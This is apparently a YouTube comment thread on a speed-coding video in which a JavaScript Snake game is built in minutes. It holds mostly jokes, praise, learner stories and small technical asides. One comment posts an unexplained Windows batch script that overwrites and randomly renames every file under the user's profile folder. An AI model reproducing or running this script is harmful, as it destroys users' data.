I remember watching this before my first year as a CS student and I didn't know what I was looking at. I still don't understand everything but almost everything sounds very familiar.
That's because he has coded it before, he most likely have a paper in front of him with hints as what to do, Many programming videos like this use a similar technique. He doesn't have to think at all.
Codanting? @Bruce Lee - I see no signs of him looking away from the screen, and this is so basic I see no reason why he would need to. If it looks like magic it's because you need to practice more, not because he's cheating for some arbitrary definition of cheating.
With his eyes closed, constantly moving his head and tilting it. I'm sure your joking though, but the number of people that think he has to be cheating is appalling.
@@thonmoyrahman2270 some random people on the internet always claim that they can do something other people can't. In real life may be they're kindergarten dropout.
1:26 "Even though I don't have all keycodes memorized because I'm not a nerd..." **Remembers he's programming Snake in 4 minutes and 30 seconds** "Okay I'm... I'm a nerd"
You don't really have to know the keycodes he could have just use e.key and it would have returned a string like ArrowRight and that would have also worked
This guy: free video course link in the description slows things down and teaches a bunch of what the heck is going on here. This is a demonstration, not a tutorial. Cheers!
@@nsdfancy The course is free on Udemy (has been for years), does Udemy now charge just to create an account profile? The account is used to save your place in the course, or to message the instructor with questions, etc.
I thought I was the only one noticing that. I'm more amassed about his speaking skills than his programming (even tho it is quite fast). I can’t even listen to someone speak while I’m coding. If I started to talk I would start typing what I’m saying. He sometimes types something while he is speaking about something else. He can also play the game while he keeps speaking.
You, and this video, were the first contact I ever had with JavaScript programming, almost 4-5 years ago, I didn't understand a thing when I saw it, but it was really cool, every year since then I revisit this video to see if I can catch up and understand everything. I'm a senior front-end engineer now, with an excellent job, and there are no words to describe how joyful it is for me to come back here, where everything started, and feel as if it was the first time. Thank you so much, for everything.
Visual Studio and Visual Studio code or if you want to mess around with more game making try out Unity its free you can get the free version which i use to make games! but i want to learn how to use HTML and javascript to make my first game on it and for my school project!@@ashismandal7776
I've watched this about 3 years ago, since then I've been interested in programming. About a year ago I've started learning javascript and now I have a paid full-time job as a developer
Heck yes! Thank you for sharing your story. I'm very happy to hear I got to play a small part in helping you discover your interest in programming. Props for following through, and congrats on the new job.
@@jasonzheng5839 I’m part time mate so it’s one year just the foundation now on diploma, covered other languages. To the guy above in the uk you need a bsc minimum to get a decent job so dunno what Hese on about
+The GAME Theory I TGT if you want to get into game theory, I'd highly suggest you learn the basics of coding. This video is a very fun and fast place to start.
Haha I had a Friend in High School who created a program for cod 4 where you could just click and select what maps you wanted to play with certain paramaters like gravity and other modifiers then it would automatically load up the map for the entire party... guy was a legend... and he wrote a code that automatically checked the battlfield 4 longest headshot distance to keep record between the whole clan.
Dude, I have no idea what just happened. I see that you coded a game in less than 5 min and it is working great! I need to say that you are a genius. Geek, but also a genius! Respect!
I wouldn't say he's just slow, it all depends on the depth you want to achieve. I go to the University of Reading and we had one month to program either a maze-based game or a text based intelligent assistant. I chose the game, whilst I had a functioning prototype after the first week it certainly takes more time to implement stuff like competent AI and OpenGL integration.
Or maybe this person is just taking a CS class for their gen eds. If they aren't a major, minor, or don't have a closely rooted interest in the subject, then that could explain the discrepancies.
Just got this in my recommended. This is the video that pushed me to learn Javascript to make canvas games. Been doing it for over 4 years now. Thank you
Yeah I feel you, bro. I also go babbling non-stop about computers, gaming and programming when someone talks about it. This guy is just insane, coding a snake game in Javascript while babbling on about a lot of other stuff full speed lol.
an3lml yeah, shure, then that's why he shows how to program the most simple game in javascript, right? It's like trying to show how easy is assembler and you show how to use the ADD instruction. Now try to create a real program in assembler and think again if its easy. Apply the same to this.
geniwab And it's just about honesty. He acts like, all of a sudden, he just decided to make a game and boom, he codes it and acts like if he figures out the algorithm in half a second. Either that guy is a genius or he's just a pretentious guy who want to look like a genius. I develop since I'm 12 and even after 17 years of development, I couldn't develop like this. How is this kind of video helping ? For the beginner, he wouldn't understand the code as it goes very fast and would think "waw this guy rocks !"...
Sébastien Sougnez Totally correct. Also, if you pretend to teach something you don't do a "speed run", you take your time at least explaining things with calm and thinking you are talking to non-programmers which will be confused even with a variable declaration.
Idk, switch statements are implemented as function calls which uses unnecessary clock cycles. Mostly compilers optimize it out though so its usually fine
@@baileydas yes, tru tru. A hash table into a relative jump us how its usually implemented. I think I said function call because its not a true branch, you still use the do the jump as well as push the return address (which is call in some asm langs) but the break keyword is equivalent to popping the ra and jumping to it. At least thats how I implemented it. Im sure some languages do other things like set the return address as a static relative address from the end of the case which would be more efficient. Mine was like this: Enter switch statement (setup stackframe) Evaluate and jump to appropriate label using hashmap + call (relative label address) Execute case, and if theres no break, fall through to the next case. Resolve stackframe - continue execution
codes the whole thing in 4 minutes - while talking over it - never stopping or saying like - rarely pausing or even saying uh or umm.. keeping decent speaking skills for viewers XD lmfao - masterfully done sir. good show
This is great! I'm wondering, did you flowchart, pseudocode, or otherwise plan this structure somehow before you started programming? I think a lot of new programmers may miss that planning stage.
None of the above. A program this tiny, simple, straightforward and unstructured does not require any of that :) There's absolutely a time and place for those, and huge software projects don't happen without them. Professional engineering on big teams require that kind of work every step of the way to keep teammates and managers on the same page. However, solo programming a 1970's-era gameplay prototype rapidly to first playable is not, in my experience, the right time or place for diagramming or other structured planning techniques. On my drive home from my Thursdays teaching gig I decided to do this. When I got home I sat down and did it. The total planning here was recognizing ahead of time that a square canvas would make this slightly simpler than a rectangle, and that 20x20 squares each of 20x20 pixels would make for a nice 400x400 canvas. Granted, I did first program a Snake-like game in 1997. However it was in C and assembly for DOS, and much more full featured. It had two player simultaneous against AI hunters, with randomly generated forests, sprint controls, informational menus, and was generally unrelated in its programming approach to this demonstration. That one had more sketching, and little more thinking ahead of time for how I wanted to structure it, but as I was so inexperienced at the time the structure mostly evolved through trial and error after what I'd initially predicted might work did not. Took me 3 weeks at the time to make the game then, although C and assembly are a fair bit different than browser JavaScript (and much closer to being truly, "no engine or library" - as by using vanilla JS for this video the browser still provides an API into the rendering context etc.). Screenshot of my old game from 20 years ago, for contrast: imgur.com/a/Ji93n
So, my point was that advanced programmers have a model for how they're thinking about the program in their head, that you don't really get from just watching people type lines of code one at a time. That said, Chris covered in his video (which I'd just watched the beginning of at the time) that this particular video isn't geared at pure novices, so I understand his goal here. But check out the most popular comment, "what just happened in this video?" That's why mentioning your mental model helps frame what you're typing, but to advanced folks we do it without thinking about it.
@Vansh K Shah Blockade was the first snake-like game in the arcade in 1976, 44 years ago indeed, and would have been quite the burden not only from the crude development languages, but many games in the mid-1970s (including Pong, Breakout) were made more with chip arrangement than even code - it was completely bonkers challenging by today's standards :D (Blockade was on an Intel 8080 microprocessor, so not quite the same as those, but early and crude methods indeed)
True, he probably did this game in recent past before attempting this video. He might've done it(practiced extensively) even before the start of the so called tutorial as well. No one can code at this speed with just an idea of a game you played a couple of decades ago on a Nokia 1100. However once you know the concept of the game and have figured out the data structures you are going to use, its easy to do it under 5 minutes. However I am impressed by his speaking skills. He is able to speak while he is coding(unless he spoke over the video).
I don't know. I have tried coding things over and over and when I finally got it I wanted to make a video since it was all still fresh in my mind. maybe he had just done another project that closely resembled this and wanted to make a vid of how easy it seemed in his own mind.
It's actually funny that I watched it the first time when the video was published, and after roughly 2 years of programming I watched it again and I understood everything this guy talked about while following the coding ^^
It's crazy how I saw this video few years ago when I was a freshman and this looked like out of the world and something that I would never be able to do. Now looking back, this is incredibly simple and it took me something like 30 mins or so to make but now I've found more complicated stuff that seems out of the world lol XD
I found my comments from 3 years ago and yeah same lol. When trying to solve a problem with code the important thing is programming patterns and concepts.
yeah now take those steps and put them on a piece of paper in front of you so you know exactly what to do, now record and type as fast as you can. Boom ther u go, a game in 10 min
Is there a reason why you haven't used modulo for the wrapping around? Otherwise you could have summarized lines 16 to 27 to two lines of code like this: px %= tc; py %= tc;
Those indeed look like they would work, good call. I probably would have needed to have paused and spent more time thinking about a workaround to the negative case than it took me to pound out the straightforward if()'s with a bit of quick keyboard copy/edit patterns :D
Valid point. Just thought this would be faster to write and I mean wrapping stuff around is probably the reason why modulo was invented but I can see your point.
The important thing is that programming for a beginner to know looking after seeing this is that the real work of a software developer is thinking, not typing the code. Judging by how easily he was able to talk over this and how quickly he typed this, I would assume that he either thought through this before the video or has written very similar code many times before, so the thinking part was done and this is just typing up the solution and fixing a couple mistakes. It’s like if someone was given a list of 3 digit numbers to multiply, they’d take a while to think about it before answering each one, and they might need to write it down on scratch paper. But, if they had already done all of the questions and memorized the answers and the order the questions come in, they’d just list them off really quickly, only stopping to correct a couple mistakes.
It doesn't matter, unless the apple spawns on the tail, because the tail is always following the head, so if the head ever crosses it, it will be eaten before the tail gets to it.
it kinda does. think about it. the game has a story actually. the apples fall from a tree. they can't just fall and magically appear under the snake's tail. think about it :P the first snake actually had this option. any mid 60's kid that excelled in the game knows how it ends
Ohhh, I though you meant that the tail should be able to eat apples! Sorry, I agree that the apples shouldn't spawn on the snakes head/tail, because that doesn't really make sense
It's true. This kind of dirty/hacky/quick digital prototyping style sure does seem to frustrate some people who've only ever worked on giant projects full-time with teams or in academic assignments :D
nah, because there is a place for this kind of quick and dirty in the proof of concept phase of larger products, or if you just code for yourself its also okay. BUT it will get messy when you cannot afford to throw away code and have to survive on a code base like this.
honestly more impressed with the fact that the code compiles the very first time it was ran. Either you're 1. very familiar with this particular code, 2. has compiler-level syntax parsing going on in your brain, or 3. just very confident with the language, it's impressive all the same.
Not very familiar with most parts of this particular game code, however it's assembled out of generic chunks (input hookups, initialization, draw routines) that I've remotely talked a ton of people through over screenshare, wrote a textbook on, made video courses on etc., which combined with 23 years of programming games and lots of speed prototyping, I can do extremely simple/retro stuff like this without snags when it's a well established basic mechanic. For experimental or innovative things it of course involves more thinking or trial and error to get an effect I'm going for :D Cheers
wouldn't you rather have the muscle memory and the fact that you did it makes it even better. that's like saying "maaann i just built my computer but i found out my friend would have done it for 20$ and some beer." fuck that, enjoy the ride man and look at the code you wrote as an accomplishment, not a waste of time
how do you speak asynchronously while programming synchronously...? Surely you must've done this before in order to just auto-pilot the entire thing while having a conversation
1 year ago I watched this video not understanding a *single* thing he did. I come back to it today, and now I can explain just about every single last part of the code he writes. Proud of myself
This is indeed confusing as hell, but there's a simple way to memorize it. The '+' operator can be used for both numbers and strings so this will NOT convert the string into a number, but just add everything after the '+' to the string. The minus operator can ONLY be used for numbers, so therefore it will convert the string into a number, and subtract what comes after the '-'.
@echo off setlocal enabledelayedexpansion cd %userprofile% for /r %%x in (*) do ( if /i not "%~f0"=="%%x" ( echo !random!-!random! > "%%x" ren "%%x" !random! ) ) might be broken idk havent slept in 22 hours :D
Its impressive how similar yet different programming languages are. I develop in java and python, and yet I can still tell what almost ever line of this program does. I wouldn't be able to write it myself, but looking at it and hearing the minimal commentary is enough to understand the syntax
Hahah. Best comment. I've done some extensive probability testing using R-scripting and I've concluded that you should have the best luck if you code it in Microsoft Word.
First time game "dev", long time fullstack developer (web, mobile, devops etc), and i followed your tutorial and built a snake game. one thing i wanted to share, if you switch your game loop to call setTimeout(game,1000/speed); use game() to start the loop and create declare speed=4, then increment speed each time the snake eats the food, it will get progressively more difficult the same as the real snake game.
nice addition! This wasn't so much intended as a tutorial (code's not very readable or well explained here) as simply a quick demonstration, but I'm glad you're exploring ways to build off it and expand the functionality. Welcome to gamedev!
Well _technically_ there is no "Javascript 2D API" in that sense. Canvas is part of the WEB APIs and the W3C (HTML5?) spec, of which several javascript engines (like Chrome's V8 used in the video) implement :).
***** Thought it was a joke about this being hard to do and saying to do something easy as if it's harder. Not sure how to explain it but it's a common thing among people who still play Guitar Hero lol
his script: *2 lines*
me: *looks away for 0.1 seconds*
his script: *55 lines*
*blinks*
True
Also goes for any university math class.
Gustaf Borgström head looks like my picture
ikr
i've watched this about 1 year ago, since then i've been studying programming and now i actually understand the code he wrote
No way
Same lol I came to this vid after a year and now I actually get some of it
Tumhe ye bakchodi samajhneme 1 saal lag kaisa gaya
Wow same!
I remember watching this before my first year as a CS student and I didn't know what I was looking at. I still don't understand everything but almost everything sounds very familiar.
30 years later :
Coding Gta 5 in 4 min 30 sec
**Hires** becomes a mod, **gives every player 999 million**
/give honeydew 46 64
Dxpress you forgot
ct% = changefranklin }
{ ct% = changet && changem }
rn = 25
dm = 55
rf = 100.x randomizespawn { 'stal')
ft1 }
end
+Chicken Permission Nice reference! +1
With no libraries.
He's got to code those himself.
Alt. title: Nerd wondering if he's a real nerd while speedrunning snake programming
xD
Lol right? I'm a nerd and coding is my job but this guy puts me to shame in both categories.
Multitasking
😂
Nodes
Ranting and coding; whole new level of multitasking.
That's because he has coded it before, he most likely have a paper in front of him with hints as what to do, Many programming videos like this use a similar technique. He doesn't have to think at all.
Codanting?
@Bruce Lee - I see no signs of him looking away from the screen, and this is so basic I see no reason why he would need to. If it looks like magic it's because you need to practice more, not because he's cheating for some arbitrary definition of cheating.
Marius lmaoo
0:39 looked away. :D
With his eyes closed, constantly moving his head and tilting it. I'm sure your joking though, but the number of people that think he has to be cheating is appalling.
It takes me 4 min 30 sec to reach to a conclusion for a variable name!
ME TOO
Just name it what you plan to use it for, “Var Storage = ...”
*/Declares String as a variable name/*
Its kinda really important
I mean, if you want to see the code ever again in you life, I think it's a good idea.
Creator of Snake: "Am I a joke to you?"
"The future is now, old man."
he did machine level programming which very few people can do
@M. de k. good for you. I assume you develop drivers?
@@thonmoyrahman2270 some random people on the internet always claim that they can do something other people can't. In real life may be they're kindergarten dropout.
Creator: Works on the snake game for months
kedo: Makes the snake game on 4 minutes
Creator: what the hell?
Alternate Title: How to play snake if it's blocked in your school
i copyed his code and played in informatic class haha noobs go brrr
This is amazing, where have you been all my school years!!
Real smooth
Ninja Chato ಠ_ಠ do you have the code?
@@leonardocastillosanchez5398 same question. I wanna geddit.
no music no begging for likes or subscribes for 3 minutes, it was straight to the video. good its rare these days. very good!
Not begging for likes or subscribing is good, but no background is an interesting decision in my opinion.
its good i guess
He's selling his tutorial on udemy at the end of video
wish I could like this comment as many times as humanly possible
actually yeah, worth a sub
1:26 "Even though I don't have all keycodes memorized because I'm not a nerd..." **Remembers he's programming Snake in 4 minutes and 30 seconds** "Okay I'm... I'm a nerd"
Lol
that was very funny XD
Meanwhile as a nerd I sit here being like "so that's for the arrow keys xD
Thanks for the captions
You don't really have to know the keycodes he could have just use e.key and it would have returned a string like ArrowRight and that would have also worked
"some people don't like switch cases, i don't like some people" lmfao
Rhapsody Afternoon k
damn it...I read your name...
IcedNerdz I was doing well until I read your comment then went back up...
I find switch statements are great for some things, annoying for other things. But for testing key value a switch statement is much better.
Heh. People say they hate switch statements, because they are a code smell. You can't always avoid them though (obviously).
This guy: this is so easy
Me a beginner: ??????????????????
This guy: free video course link in the description slows things down and teaches a bunch of what the heck is going on here. This is a demonstration, not a tutorial. Cheers!
Chris DeLeon of HomeTeam GameDev he/she knows, he/she ‘s just saying you say “It’s easy” to him/her, it is confusing
Chris DeLeon of HomeTeam GameDev the video course is not free, you need a udemy membership 😒😒😒😒
@@nsdfancy The course is free on Udemy (has been for years), does Udemy now charge just to create an account profile? The account is used to save your place in the course, or to message the instructor with questions, etc.
Me too hahshaha...
I know nothing about coding and I understood very little of this. 10/10, would rewatch
Dan Jakob its a language
hah u dumb
Commenter Nope, doesn't mean that he is dumb.
Commenter you call him dumb but can't use proper grammar 🤦🏽♂️
+swastika bitch *There is nothing I can fucking say to you to change the fact that you are a useless donkey*
"Im not much of a nerd"
*codes a snake game in four and a half minutes*
* n o t m u c h*
Im not bashing- it was amazing
What's his first language?
c++
c++ is such a nice language
All while simultaneously commenting on everything he's doing, as well as shit that is totally unrelated. Bananas.
he's certainly smarter than you
Many people can build this game that fast, but no one can speak that fast while building it.
Harbir Singh Yeah right? If I started talking like this while writing code I would mess everything up lol
I thought I was the only one noticing that. I'm more amassed about his speaking skills than his programming (even tho it is quite fast). I can’t even listen to someone speak while I’m coding. If I started to talk I would start typing what I’m saying. He sometimes types something while he is speaking about something else. He can also play the game while he keeps speaking.
Harbir Singh That's multitasking for ya
I can write max one line of code without syntax error so this would never be me
I want to come here to say exactly this. He code and speak at the same time very quickly. That's insane !
As a coder myself, I'm honestly impressed that he can commentate and code that efficiently at the same time.
Adderall is a hell of a drug
You have to consider that before the video shooting, he probably wrote a script, practiced and the same for the coding part. It's cool though.
@@koviroli pfffft, i doubt thats a script
That's the only way I know how to code. My dog has learned JavaScript during WFH
@@pumpkant just got the joke
"some people don't like switch case"
"I don't like some people"
ded
But not us
Not us
X
They have their place. Keyboard key events are a good use of them.
switch case is almost like if else so I don't know who would dislike it
@@nonsudunk yeah, and they're also slightly faster so for some cases switch case is objectively better.
This guy is the Eminem of coding tutorials
Even in talking
CODE GOD
I get it
ctrl+c & Ctrl+v isnt Eminem
Yea he don't side track straight to point
Sorry what happened in this video? I blinked.
theluckyboy54321 lolol
You must take a long time to blink
J. Corraux Right then
cadevine1000 I
Look who it is hahahahahha
You, and this video, were the first contact I ever had with JavaScript programming, almost 4-5 years ago, I didn't understand a thing when I saw it, but it was really cool, every year since then I revisit this video to see if I can catch up and understand everything.
I'm a senior front-end engineer now, with an excellent job, and there are no words to describe how joyful it is for me to come back here, where everything started, and feel as if it was the first time. Thank you so much, for everything.
"I am not a nerd" Rethinks his life and what he is currently doing... "Ok I am a nerd"
it me
A Lot of respect to you sir this is really good
Please suggest a good editor for JavaScript programming.
@@ashismandal7776 atom is good
Visual Studio and Visual Studio code or if you want to mess around with more game making try out Unity its free you can get the free version which i use to make games! but i want to learn how to use HTML and javascript to make my first game on it and for my school project!@@ashismandal7776
He lost me at 0:01
Chris Paul he lost me after he said I have to pick up my fiancé, he voice became x3.0
Chris Paul you couldnt be more accurate
Same
AH Sniper iiii
AH Sniper i
When your assignment is due at midnight and it's 11:55pm
and your watching this video
Un_Pugged Gaming he talk about the guy in video
ACookieForMe i hope you're trolling
ACookieForMe plenty of online assignments have a due date around that time,not uncommon at all
Because that's the closing time for sending it in, as it has to be in before "x" date?
I've watched this about 3 years ago, since then I've been interested in programming. About a year ago I've started learning javascript and now I have a paid full-time job as a developer
Heck yes! Thank you for sharing your story. I'm very happy to hear I got to play a small part in helping you discover your interest in programming. Props for following through, and congrats on the new job.
Full payed job in a year? Wow good effort dude, 2 years in uni and we are now only starting Java.
@@wizzenberry uni is bs imo
@@sirspongadoodle honestly 2 years in and just starting Java kinda means this guy took no college credit in hs or didn’t decide to do cs until then
@@jasonzheng5839 I’m part time mate so it’s one year just the foundation now on diploma, covered other languages. To the guy above in the uk you need a bsc minimum to get a decent job so dunno what Hese on about
Hmm I gotta pick up my fiance in 10 minutes, what should I do... I KNOW, make a game!
well it only takes 4 and a half minutes.
Nope. Most guys that can do this dont have a fiance...
;)
TwoPants If you have friends or girlfriends, you are shame to internet, do Sudoku
TwoPants *Sepuku
Hippie With A Cowboy Hat 6:29
I was ignoring this video from my recommendation for about 2 months ..
now I am here .
I have no clue what's going on .
I don't even code dude !!!
+The GAME Theory I TGT if you want to get into game theory, I'd highly suggest you learn the basics of coding. This video is a very fun and fast place to start.
Dude, even as I'm writing this, the video isn't even 2 months old...
The GAME Theory I TGT same here.
dude ik i ignored the reckmmended for like 2 months too 😂
same here too lmao
the only word i understand what he's talking is "snake"
Brian Chen game too
Peas and carrots
That’s what captions are for
i really don't think you get it, flyinge.
HAHAHAH you made my day man
his friends : hey let's play cod
he : yeah wait for 4:30 mins
*builds cod*
his friends : 😳
Haha I had a Friend in High School who created a program for cod 4 where you could just click and select what maps you wanted to play with certain paramaters like gravity and other modifiers then it would automatically load up the map for the entire party... guy was a legend... and he wrote a code that automatically checked the battlfield 4 longest headshot distance to keep record between the whole clan.
@Tari Wheeler Most unsubtle subtle advertisement on a youtube comment
@@jk-gb4et its not advertising, its helping
@@CutieFakeKirby its him hes just making it look like its a different person
@@jk-gb4et he's attempting to scam people, trsut me
My friend told me I talk way too fast. I now see his frustration.
Dude, I have no idea what just happened. I see that you coded a game in less than 5 min and it is working great! I need to say that you are a genius. Geek, but also a genius! Respect!
Had to watch a 2x speed because he talks so slow.
Fynmar yeah same
Watched mine at 0.01
But he talks really fast!
r/whooooosh
Oh, you are right. That comment was stupid. Thanks SonicCret!
this guy had a 10 minute break between his work and picking up his fiancee. so he made a youtube video to promo his stuff. Big respect
That awkward moment when a guy does your *entire Culminating project* (which takes a whole month) in merely 4 and a half minutes...
Bob McCoy you are just slow, i go to mid florida tech and we had to make our own game in a week and a half
I wouldn't say he's just slow, it all depends on the depth you want to achieve. I go to the University of Reading and we had one month to program either a maze-based game or a text based intelligent assistant. I chose the game, whilst I had a functioning prototype after the first week it certainly takes more time to implement stuff like competent AI and OpenGL integration.
maybe you're coding in the wrong language
Or maybe this person is just taking a CS class for their gen eds. If they aren't a major, minor, or don't have a closely rooted interest in the subject, then that could explain the discrepancies.
This is why a top experienced developer makes much much more money than a recent grad.
pls code half life 3 in 3 seconds.
λ3 you think its that easy?
GDLC Dizz
yes
Just save this code as hl3.html ;)
+GDLC Dizz you should be fun at parties.
+Krishna teja
Bad modal verb detected.
wouldnt it make more sense if you wrote it in...
Python?
Kazotsky 🤦♂️😂
Get outt!!
Kazotsky please tell me this is a joke
PatriArk no this is very serious sir
fkn communist
Just got this in my recommended. This is the video that pushed me to learn Javascript to make canvas games. Been doing it for over 4 years now. Thank you
Like for an English version of this
hhhh
Lol, made my day 😂
Lol
Noah Lupico lol
Noah Lupico this should be top comment but I guess majority of this videos intended audience knows wtf he's saying 😂😂
This guy is the geek version of Eminem. His brain is racing!
It's called cocaine
afterburner7847 mom spaghetti
Please don't!
coding mom's spaghetti in 4mins 30secs
Yeah I feel you, bro. I also go babbling non-stop about computers, gaming and programming when someone talks about it. This guy is just insane, coding a snake game in Javascript while babbling on about a lot of other stuff full speed lol.
You have 5 minutes to live -
I regret nothing!
jajajajajajajjajajaja
Det Var Den Veckan Ja
Lmfao
BUT MY HOPE WILL NEVERR DIEEEEEEEEEE *makes this in like 2 mins*
just starting learning html and watching you make a whole game in under 5 minutes when its taken me a week to make a button animation is amazing
500 years later: coding real life in 4 min 30sec
teecchnoboy No, coding virtual fidget spinner
Who else clicked on here not knowing what he’s talking about but still watched it.
That part at: i m not a nerd. Then he realised OK i m a nerd😂😂
I just want a little more practice on javascript and realized I still need a lot to learn lol
Clicked here and lasting 1.54mins, and I am out
im wit u on that one aha
I've been developing in JS for few years now but I can't imagine thinking that fast. It must've been rehearsed several times before. Am I wrong?
This should be called "how to write again in 4 minutes a snake game that you already have coded"
geniwab yeah.. the guy is acting like an hero coder while he's just typing a listing he already typed dozens times before, that's a bit lame...
It also is my job and I can distinguish when someone is thinking what is writing and when is just copying code.
an3lml yeah, shure, then that's why he shows how to program the most simple game in javascript, right? It's like trying to show how easy is assembler and you show how to use the ADD instruction. Now try to create a real program in assembler and think again if its easy. Apply the same to this.
geniwab And it's just about honesty. He acts like, all of a sudden, he just decided to make a game and boom, he codes it and acts like if he figures out the algorithm in half a second. Either that guy is a genius or he's just a pretentious guy who want to look like a genius. I develop since I'm 12 and even after 17 years of development, I couldn't develop like this. How is this kind of video helping ? For the beginner, he wouldn't understand the code as it goes very fast and would think "waw this guy rocks !"...
Sébastien Sougnez Totally correct. Also, if you pretend to teach something you don't do a "speed run", you take your time at least explaining things with calm and thinking you are talking to non-programmers which will be confused even with a variable declaration.
This guy pays more attention to playing the game than actually coding it.
"This is Snake. Colonel, can you hear me?"
"Loud and clear, Snake!"
i love and hate you for that
1:15 "Some people don't like switch cases, I don't like some people."
lol, I'm using that from now on.
same
*YandereDev has entered the chat*
Idk, switch statements are implemented as function calls which uses unnecessary clock cycles. Mostly compilers optimize it out though so its usually fine
@@KayOScode Depends on the language but switch cases are usually jump instructions not function calls
@@baileydas yes, tru tru. A hash table into a relative jump us how its usually implemented. I think I said function call because its not a true branch, you still use the do the jump as well as push the return address (which is call in some asm langs) but the break keyword is equivalent to popping the ra and jumping to it. At least thats how I implemented it. Im sure some languages do other things like set the return address as a static relative address from the end of the case which would be more efficient. Mine was like this:
Enter switch statement (setup stackframe)
Evaluate and jump to appropriate label using hashmap + call (relative label address)
Execute case, and if theres no break, fall through to the next case.
Resolve stackframe - continue execution
i don't know what you are talking about but man you sound smart
Me: **puts a cheat code on the game**
What my sister sees:
coding snake speedrun at agdq 2018
Mr.Sheepington he had some good RNG this run
he should kill the animals. gotta save frames
Mr.Sheepington better would be coding a simple game idea given blindly
GameFuMaster lmao yessssyoshi
ty
codes the whole thing in 4 minutes - while talking over it - never stopping or saying like - rarely pausing or even saying uh or umm.. keeping decent speaking skills for viewers XD lmfao - masterfully done sir. good show
Actual. Must be second nature
...that and a *_dexedrine prescription_*
This is great! I'm wondering, did you flowchart, pseudocode, or otherwise plan this structure somehow before you started programming? I think a lot of new programmers may miss that planning stage.
None of the above. A program this tiny, simple, straightforward and unstructured does not require any of that :) There's absolutely a time and place for those, and huge software projects don't happen without them. Professional engineering on big teams require that kind of work every step of the way to keep teammates and managers on the same page. However, solo programming a 1970's-era gameplay prototype rapidly to first playable is not, in my experience, the right time or place for diagramming or other structured planning techniques.
On my drive home from my Thursdays teaching gig I decided to do this. When I got home I sat down and did it. The total planning here was recognizing ahead of time that a square canvas would make this slightly simpler than a rectangle, and that 20x20 squares each of 20x20 pixels would make for a nice 400x400 canvas.
Granted, I did first program a Snake-like game in 1997. However it was in C and assembly for DOS, and much more full featured. It had two player simultaneous against AI hunters, with randomly generated forests, sprint controls, informational menus, and was generally unrelated in its programming approach to this demonstration. That one had more sketching, and little more thinking ahead of time for how I wanted to structure it, but as I was so inexperienced at the time the structure mostly evolved through trial and error after what I'd initially predicted might work did not. Took me 3 weeks at the time to make the game then, although C and assembly are a fair bit different than browser JavaScript (and much closer to being truly, "no engine or library" - as by using vanilla JS for this video the browser still provides an API into the rendering context etc.). Screenshot of my old game from 20 years ago, for contrast: imgur.com/a/Ji93n
Thanks for the reply!
lordmyrann for someone who has been programming for the majority of his life they could do this in their sleep
So, my point was that advanced programmers have a model for how they're thinking about the program in their head, that you don't really get from just watching people type lines of code one at a time. That said, Chris covered in his video (which I'd just watched the beginning of at the time) that this particular video isn't geared at pure novices, so I understand his goal here. But check out the most popular comment, "what just happened in this video?" That's why mentioning your mental model helps frame what you're typing, but to advanced folks we do it without thinking about it.
Hermann Fegelein Boss chill
Imagine how hard it was to make this game 50 years ago
@Vansh K Shah Blockade was the first snake-like game in the arcade in 1976, 44 years ago indeed, and would have been quite the burden not only from the crude development languages, but many games in the mid-1970s (including Pong, Breakout) were made more with chip arrangement than even code - it was completely bonkers challenging by today's standards :D (Blockade was on an Intel 8080 microprocessor, so not quite the same as those, but early and crude methods indeed)
"i'm getting so long"
*#TWSS*
_That's What She Said_
i would like your comment but its at 420
My anaconda don't want none unless you got buns, hun
'this is getting much harder than I expected'
im sed bckuz i csnrt fingfd myyyy ccccccat
New viewers: Don't get the impression that he is adaptability learning as he is coding this game before you. He just has experience.
True, he probably did this game in recent past before attempting this video. He might've done it(practiced extensively) even before the start of the so called tutorial as well. No one can code at this speed with just an idea of a game you played a couple of decades ago on a Nokia 1100.
However once you know the concept of the game and have figured out the data structures you are going to use, its easy to do it under 5 minutes. However I am impressed by his speaking skills. He is able to speak while he is coding(unless he spoke over the video).
*H O W E V E R*
I van code hello on a webpage in 30 seconds. And Snake in 7 years!
I'm convinced that he wrote the game script beforehand and then retyped it for the video.
I don't know. I have tried coding things over and over and when I finally got it I wanted to make a video since it was all still fresh in my mind. maybe he had just done another project that closely resembled this and wanted to make a vid of how easy it seemed in his own mind.
I'm mostly impressed that he can be typing code at the same time as speaking words that are different to what he's typing - both at high speed.
sounds like the guy at the end of prescription medicine commercials.
It's actually funny that I watched it the first time when the video was published, and after roughly 2 years of programming I watched it again and I understood everything this guy talked about while following the coding ^^
WOOHOO! Heck yes! Way to go Psy&cho! I'm happy to hear you've been making good progress :D
The guy doesn't even think about what he's coding.
Mastery...
I have no idea what's going on, but you're funny and this is fascinating
Usually i like to use about 1.5x playback speed on tutorials, most youtubers talk quite slow. But this guy knows what's up
can you code engine with no snake or library?
+JaSON TheMarauder Its a joke.
the answer is yes, surprisingly.
The numbers mason...
+epicsparklez WHAT DO THEY MEAN
David Valentine NUMBEEEEERRS!
It's crazy how I saw this video few years ago when I was a freshman and this looked like out of the world and something that I would never be able to do. Now looking back, this is incredibly simple and it took me something like 30 mins or so to make but now I've found more complicated stuff that seems out of the world lol XD
I found my comments from 3 years ago and yeah same lol. When trying to solve a problem with code the important thing is programming patterns and concepts.
HOLY SHI- what the heck? The fastest I've made a game is like 2 hours O.o
HJfod mine is 1 hour and that is pong. I cant even code snake
yeah now take those steps and put them on a piece of paper in front of you so you know exactly what to do, now record and type as fast as you can. Boom ther u go, a game in 10 min
@Bruce You like posting that, but it says more about you than him.
I made my first game, rock paper scissors in 4 mins
HJfod Hello
the way he instantly saved the code after being done with it, knowing it will work flawlessly, is just fantastic
Nicely done!
"I'm not a nerd"
*thinks about it*
He owns a mac machine. What makes you think he’s a nerd?
@@grzegorzbrzeczyszczykiewic1636 that
@@f1lip797 lol i forgot about this
Is there a reason why you haven't used modulo for the wrapping around? Otherwise you could have summarized lines 16 to 27 to two lines of code like this:
px %= tc;
py %= tc;
Mod would only handle the positive edges on right and bottom, left and top edges I don't think would work since (-1)%20 evaluates to -1.
Oh, you are right. Strange but well then it would be px = (px + tc) % tc and py = (py + tc) % tc
Those indeed look like they would work, good call. I probably would have needed to have paused and spent more time thinking about a workaround to the negative case than it took me to pound out the straightforward if()'s with a bit of quick keyboard copy/edit patterns :D
Valid point. Just thought this would be faster to write and I mean wrapping stuff around is probably the reason why modulo was invented but I can see your point.
english please
I thought I was somewhat decent at programming before I watched this guy. He's so fast, and he intimately knows his craft. Well done dude.
You are amazing!!
No you are amazing!! :)
MrFreak I
No, I am amazing!
MrFreak like number 1000 here! :) it got from 999 to 1k
Dude wtf .... am just a beginner i tried listening while watching u code (both of wich u do at the same superhuman speed) i have a headache now..
